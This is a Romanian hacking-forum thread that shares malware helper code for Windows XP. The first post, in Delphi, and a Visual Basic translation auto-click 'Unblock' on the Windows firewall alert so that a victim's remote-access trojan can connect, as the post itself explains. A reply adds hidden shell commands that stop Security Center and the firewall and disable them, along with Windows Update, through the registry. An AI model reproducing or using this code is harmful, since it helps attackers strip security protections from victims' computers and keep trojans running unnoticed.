Jump to content
c0smyn

Firewall Killer XP SP2 [Borland Delphi]

Recommended Posts

Majoritatea datilor cand nu va puteti conecta pe adresa unei victime care a rulat un server de rat, trojan etc este din cauza firewallu`lui care atentioneaza victima. Ei bine aceasta "jucarie" v-a apasa pe butonul "&Unblock".

unblockfirewall.png


var
FirewallWindow: hwnd;
UnlockButton: hwnd;
Done: boolean;

label
Check;

begin
Check:
Done := false;
FirewallWindow := FindWindow(nil,'Windows Security Alert');
if FirewallWindow <> 0 then
begin
UnlockButton := FindWindowEx(FirewallWindow,0,'Button','&Unblock');
SendMessage(UnlockButton ,BM_CLICK,0,0);
Done := true;
end;
if Done = true then application.Terminate
else GoTo Check;
end;

Enjoy ;)

Link to comment
Share on other sites

[vb] mai simplu , scris de who

Shell("cmd.exe /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide)
Shell("cmd.exe /c net stop SharedAccess", vbHide)
Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAcce ss" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)
Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuause rv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)
Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc " & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)

http://www.opensc.ws/vb-unsorted/3795-add-startup-all-windows-version.html

traducerea in vb :


Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessageSTRING Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Const WM_CLICK = &HF5

Dim FirewallWindow As Long
Dim UnlockButton As Long
FirewallWindow = FindWindow(vbNullString, "Windows Security Alert")
If FirewallWindow <> 0 Then
UnlockButton = FindWindowEx(FirewallWindow, 0, "Button", "&Unblock")
SendMessageSTRING UnlockButton, WM_CLICK, 0, 0
End If

Edited by steli
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...